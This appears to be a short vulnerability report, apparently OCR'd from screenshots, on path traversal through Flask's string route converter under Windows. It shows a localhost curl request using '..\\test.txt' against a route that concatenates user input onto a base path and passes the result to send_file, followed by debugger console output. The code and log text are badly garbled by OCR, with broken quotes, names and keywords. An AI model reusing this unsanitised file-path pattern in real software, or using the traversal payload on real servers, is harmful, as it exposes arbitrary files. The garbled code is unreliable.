Path injection of Flask String type under Windows
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curl -v http://127.0.0.1:5000/bad1/..\\test.txt
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from flask import Flask, send file
app = Flask(_name_)

@app. route (" /badl/<string:image_id>’)

def badl(image_id):
base_path = “D:\\MyDrivers\\backup\\Synaptics SMBus Driver\\"”
file path = base_path + image_id
return send_file(file_path)

B CAWINDOWS\system32\cmd.exe

if _name  =='_ main_:
app. debug = True

app. run()

D:\DevelopmentT001s

D:\DevelopmentT001s\PyCharm 2018. 2. 3\helpers\pydev

pydev debugger: pr

Connected to pydev debugger (build 182.4323.49)
# Serving Flask app ’test’ (lazy loading)
# Environment: production

WARNING: Thi:

Use a production WSGI server instead.

a development server. Do not use it in a production deployment.

# Debug mode: on

Restarting with stat
pydev debugger: process 18496 is commectin;
Debugger is active
Debugger PIN: 516-854-735
Running on http://127.0.0.1:5000/ (Press CTRL4C to quit
127 1-- Nov/2021 20:17:56] “GET /badl test. txt HITP/1.17 200 -
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from flask import Flask, send file
app = Flask(_name_)

@app. route (" /badl/<string:image_id>’)

def badl (image_id) :
base_path = “D:\\MyDrivers\\backup\\Synaptics SMBus Driver\\”
file path = base_path + image_id
return send_file(file_path)

' __main_:
app. debug = True

if _name

app. run()
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Path injection vulnerability exists.




